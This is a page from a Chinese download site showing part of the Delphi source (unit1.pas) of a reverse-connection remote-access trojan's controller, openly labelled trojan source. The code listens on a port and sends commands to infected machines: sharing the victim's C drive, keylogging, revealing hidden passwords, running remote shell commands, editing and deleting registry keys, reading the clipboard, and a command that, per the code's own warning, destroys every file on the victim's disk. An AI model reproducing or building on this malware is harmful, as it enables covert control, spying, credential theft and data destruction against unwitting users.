⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 unit1.pas

📁 软件介绍:反弹连接木马源码 １、编译服务端。 　　服务端在进行编译时会提示出错 （停在“fme.SaveToFile(stf) ”段）
💻 PAS
📖 第 1 页 / 共 5 页
字号:
🔍
12345 
begin//开启对方C盘的共享
  if CBA.Checked =true then
    command('285')
  else
    command('286');
end;

procedure TForm1.BTAClick(Sender: TObject);
begin//卸载服务端
   if  application.MessageBox('这样你将不能对该电脑进行控制了!'+chr(13)+'你真的要这样吗???','警告!!!',mb_yesno)=idno then exit;
   command('287');
   IPNS.Text :='请选择要控制的IP！';
   cle();
   mainpc.ActivePage :=ts1;
   mainpc.Enabled :=false;
   ipvi.Clear ;
   ss.Active :=false;
   conti.Enabled :=true;
end;

procedure TForm1.BitBtn7Click(Sender: TObject);
begin//WIN键
  command('250');
end;

procedure TForm1.SEKEClick(Sender: TObject);
begin//模拟键盘输入
  if txt.Text='' then exit;
  command('288'+txt.Text );
end;

procedure TForm1.TXTKeyPress(Sender: TObject; var Key: Char);
begin//只能输入英文字符
  if (ord(key)>127) or (key in ['a'..'z']) then
   Key := Chr(0);
end;

procedure TForm1.CKB1Click(Sender: TObject);
begin//查看对方当前窗体标题名
  command('501');
end;

procedure TForm1.CKB2Click(Sender: TObject);
begin//更改对方当前窗体标题名
 if CKED2.Text='' then
  begin
   application.MessageBox ('请输入更改的标题名！','提示');
   exit;
  end;
  command('502'+CKED2.Text);
end;

procedure TForm1.CKB3Click(Sender: TObject);
begin//关IE窗口
  command('503');
end;

procedure TForm1.CKB4Click(Sender: TObject);
begin//隐藏状态栏
  command('504');
end;

procedure TForm1.CKB5Click(Sender: TObject);
begin//显示状态栏
  command('505');
end;

procedure TForm1.CKB6Click(Sender: TObject);
begin//查看剪贴板
  command('506');
end;

procedure TForm1.CKB7Click(Sender: TObject);
begin//清空剪贴板
  command('507');
end;

procedure TForm1.CKB8Click(Sender: TObject);
begin//隐藏对方桌面
  command('508');
end;

procedure TForm1.CKB9Click(Sender: TObject);
begin//显示对方桌面
  command('509');
end;

procedure TForm1.CKB10Click(Sender: TObject);
begin//隐藏对方开始按钮
  command('510');
end;

procedure TForm1.CKB11Click(Sender: TObject);
begin//显示开始按钮
  command('511');
end;

procedure TForm1.BitBtn8Click(Sender: TObject);
begin//显示屏保
  command('520');
end;

procedure TForm1.BitBtn9Click(Sender: TObject);
begin//密码现形
  command('530');
end;

procedure TForm1.BitBtn10Click(Sender: TObject);
begin//恢复密码现形
  command('531');
end;

procedure TForm1.BitBtn11Click(Sender: TObject);
begin//最小化所有窗口
  command('532');
end;

procedure TForm1.DOSB1Click(Sender: TObject);
var fs:string;
begin//执行命令
 if DOSCB1.Text ='' then
  begin
   application.MessageBox ('请输入更改的标题名！','提示');
   exit;
  end;
 try
   if fs1.Checked =true then fs:='1';
   if fs2.Checked =true then fs:='2';
   if fs3.Checked =true then fs:='3';
   if fs4.Checked =true then fs:='4';
   ss.Socket.Connections[fullip].SendText('601'+fs+DOSCB1.Text+'{'+DOSCB2.Text);
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.DOSCB3KeyPress(Sender: TObject; var Key: Char);
var fs:string;
begin
 if key=chr(13) then
  begin //执行DOS命令
   if DOSCB3.Text ='' then
    begin
     application.MessageBox ('请输入更改的标题名！','提示');
     exit;
    end;
   try
     if dfs1.Checked =true then fs:='1';
     if dfs2.Checked =true then fs:='2';
     if dfs3.Checked =true then fs:='3';
     if dfs4.Checked =true then fs:='4';
     ss.Socket.Connections[fullip].SendText('602'+fs+DOSCB3.Text);
   except
     application.MessageBox('连接断开','提示' );
     mainpc.Enabled :=false;
   end;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  sb.Panels.Items[3].Text :='本机IP: '+ipdd();
  icon.IconList := im;
  icon.CycleInterval := 68;
  icon.CycleIcons := True;
  icon.IconVisible :=true;
  ss.Active :=FALSE;
  SS.Port :=STRTOINT(PROS.Text);
  SS.Active :=TRUE;
  mainpc.ActivePage :=ts1;
  Myst := TMemorystream.Create; {建立内存流对象}
  MySize := 0; {初始化}
end;

procedure TForm1.PROSChange(Sender: TObject);
begin//更改通讯的端口
  if length(pros.Text)<1 then pros.Text :='7892';
  mainpc.Enabled :=false;
  mainpc.ActivePage :=ts1;
  cle();
  ipvi.Clear;
  ss.Active :=FALSE;
  SS.Port :=STRTOINT(PROS.Text);
  SS.Active :=TRUE;
end;

procedure TForm1.PROSKeyPress(Sender: TObject; var Key: Char);
begin
 if (key in ['0'..'9']) or (ord(key)=8) then
  else Key := Chr(0);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin//退出程序
  Myst.Free; {释放内存流对象}
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
begin//关于
   application.MessageBox('           程序编写：梁宏'+chr(13)+'           2004年12月28日'+chr(13)+'            QQ:346126426'+chr(13)+chr(13)+'请慎重使用此程序,造成后果自负责任!!!','关于' );
end;

procedure TForm1.N3Click(Sender: TObject);
begin
 if  application.MessageBox('这个操作会损坏对方硬盘中的全部文件!'+chr(13)+chr(13)+'          你确定要这样吗?','警告',mb_yesno)=idyes then
  command('140'+copy(FCB.Text,1,2));
end;

procedure TForm1.syl1DblClick(Sender: TObject);
begin//刷新用户名
  command('260');
end;

procedure TForm1.syl2DblClick(Sender: TObject);
begin//对方操作系统名
  command('261');
end;

procedure TForm1.syl3DblClick(Sender: TObject);
begin//对方内存
  command('262');
end;

procedure TForm1.syl4DblClick(Sender: TObject);
begin//组织名
  command('263');
end;

procedure TForm1.syed1KeyPress(Sender: TObject; var Key: Char);
begin//更改用户名
 if syed1.Text ='' then exit;

 if key=chr(13) then  command('270'+syed1.Text);
end;

procedure TForm1.OK2Click(Sender: TObject);
begin//活动窗体键盘记录BG
  if re2.Text='' then
   begin
    application.MessageBox('您未设置活动窗体的名称!','提示');
    exit;
   end;
  command('280'+re2.Text);
  KEYRS.Enabled :=false;
  CA2.Enabled :=true;
  Ok2.Enabled :=false;
end;

procedure TForm1.CA2Click(Sender: TObject);
begin//取消
  command('281');
  KEYRS.Enabled :=true;
  OK2.Enabled :=true;
  CA2.Enabled :=false;
end;

procedure TForm1.syed4KeyPress(Sender: TObject; var Key: Char);
begin//更改组织
 if syed4.Text ='' then exit;

 if key=chr(13) then  command('271'+syed4.Text);
end;

procedure TForm1.FTVMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var   ATM: TTreeNode;
      STP: string;
begin
  FTV.ReadOnly :=true;
  changeselectnode(FTV,x,y,button); //右键选择
  STP := '';
  ATM := FTV.Selected;
  while Assigned(ATM) do
  begin
    STP := ATM.Text+'\'+STP;
    ATM := ATM.Parent;
  end;
  SetLength(STP,Length(STP)-1);
  sb.Panels.Items[0].Text :=STP;
end;

procedure TForm1.REGTVMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin//注册表主键选择
  changeselectnode(REGTV,x,y,button); //右键选择
  REGTV.ReadOnly :=true;
  if REGTV.Selected.Text ='我的电脑' then
   begin
    REGLV.Clear ;
    exit;
   end;
  REGTV.Selected.Expand(True);
  ss.Socket.Connections[fullip].SendText('301'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9) );
end;

procedure TForm1.REGTVKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var st:pchar;
    ren,pt,pa:string;
begin
 if key=13 then //按下回车键展开子项
   ss.Socket.Connections[fullip].SendText('301'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9) );

 if key=46 then//删除主键
  begin
   if (copy(REGTV.Selected.Text,1,5)='HKEY_') or (REGTV.Selected.Text='我的电脑') then
    begin
     application.MessageBox('该键主能删除!','警告');
     exit;
    end;
    st:=pchar('你真的要删除：'+'“ '+REGTV.Selected.Text+' ”'+'吗？' );
   if application.MessageBox(st,'警告：该操作将不能恢复！',mb_yesno)=idyes then
    begin
     REGTV.Selected.Delete ;
     pt:=sb.Panels.Items[0].Text;
     ss.Socket.Connections[fullip].SendText('304'+copy(pt,10,length(pt)-9));
     i:=0;
     while  pa<>'\' do
      begin
       i:=i+1;
       pa:=COPY(pt,length(pt)-i,1);
      end;
      sb.Panels.Items[0].Text:=copy(pt,1,length(pt)-i);
    end;
  end;
 if key=113 then
  begin  //更名
  if REGTV.Selected.Level <2 then
   begin
     application.MessageBox('该键不能更名！','警告');
     exit;
   end;
   ren :=inputbox('请输入更改后的名字','键名更改',REGTV.Selected.Text);
   if ren='' then
    begin
     application.MessageBox('你未输入键名！','注意');
     exit;
    end;
    i:=0;
    pt:=sb.Panels.Items[0].Text;
    while  pa<>'\' do
     begin
       i:=i+1;
       pa:=COPY(pt,length(pt)-i,1);
     end;
    ss.Socket.Connections[fullip].SendText('303'+copy(pt,10,length(pt)-10)+'*'+ren);
    sb.Panels.Items[0].Text:=copy(pt,1,length(pt)-i)+ren;
    REGTV.Selected.Text:=ren;
  end;
end;

procedure TForm1.TS2Show(Sender: TObject);
begin
 regt1.Enabled :=true;
 filt1.Enabled :=false;
end;

procedure TForm1.regt1Timer(Sender: TObject);
var ATM: TTreeNode;
    STP: string;
begin //按上下键移动时
  STP := '';
  ATM := REGTV.Selected;
  while Assigned(ATM) do
  begin
    STP := ATM.Text+'\'+STP;
    ATM := ATM.Parent;
  end;
  sb.Panels.Items[0].Text :=STP;
end;

procedure TForm1.REGLVMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var  anode:Tlistitem;
begin //注册表键值选择
   REGLV.ReadOnly :=true;
   anode:=REGLV.GetItemAt (x,y);
   if anode<>nil then anode.Selected :=true;
end;

procedure TForm1.MenuItem4Click(Sender: TObject);
VAR ren,pt,pa:string;
begin  //更名
  if REGTV.Selected.Level <2 then
   begin
     application.MessageBox('该键不能更名！','警告');
     exit;
   end;
   ren :=inputbox('请输入更改后的名字','键名更改',REGTV.Selected.Text);
   if ren='' then
    begin
     application.MessageBox('你未输入键名！','注意');
     exit;
    end;
    i:=0;
    pt:=sb.Panels.Items[0].Text;
    while  pa<>'\' do
     begin
       i:=i+1;
       pa:=COPY(pt,length(pt)-i,1);
     end;
    ss.Socket.Connections[fullip].SendText('303'+copy(pt,10,length(pt)-10)+'*'+ren);
    sb.Panels.Items[0].Text:=copy(pt,1,length(pt)-i)+ren;
    REGTV.Selected.Text:=ren;
end;

procedure TForm1.MenuItem3Click(Sender: TObject);
var  lem: TListItem;
  TD, TN:TTreeNode;
begin//新建主键
 if (REGTV.Selected.Text='HKEY_LOCAL_MACHINE') or (REGTV.Selected.Text='HKEY_USERS')
   or (REGTV.Selected.Text ='SessionInformation') or (REGTV.Selected.Text='Volatile Environment') then
  begin
   application.MessageBox('该主键下不能新建子键!','警告');
   exit;
  end;

 if REGTV.Selected.Level>0 then
  begin
   number2();
   TN:=REGTV.Selected;
   TD:=REGTV.Items.AddChild(TN,'新项 #'+inttostr(renum));
   TD.ImageIndex:=2;
   TD.SelectedIndex:=3;
   REGTV.Selected.Item[REGTV.Selected.Count-1].Selected :=true;
   REGTV.Selected.Expand(True);
   ss.Socket.Connections[fullip].SendText('302'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+'新项 #'+inttostr(renum) );
   sb.Panels.Items[0].Text :=sb.Panels.Items[0].Text +'\新项 #'+inttostr(renum);
  end
 else
  application.MessageBox('不能建立主键！','提示');
end;

procedure TForm1.MenuItem6Click(Sender: TObject);
var st:pchar;
    pt,pa:string;
begin//删除主键
   if (copy(REGTV.Selected.Text,1,5)='HKEY_') or (REGTV.Selected.Text='我的电脑') then
    begin
     application.MessageBox('该键主能删除!','警告');
     exit;
    end;
  st:=pchar('你真的要删除：'+'“ '+REGTV.Selected.Text+' ”'+'吗？' );
  if application.MessageBox(st,'警告：该操作将不能恢复！',mb_yesno)=idyes then
   begin
    REGTV.Selected.Delete ;
    pt:=sb.Panels.Items[0].Text;
    ss.Socket.Connections[fullip].SendText('304'+copy(pt,10,length(pt)-9));
    i:=0;
    while  pa<>'\' do
     begin
       i:=i+1;
       pa:=COPY(pt,length(pt)-i,1);
     end;
     sb.Panels.Items[0].Text:=copy(pt,1,length(pt)-i);
   end;
end;

procedure TForm1.MenuItem13Click(Sender: TObject);
12345

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -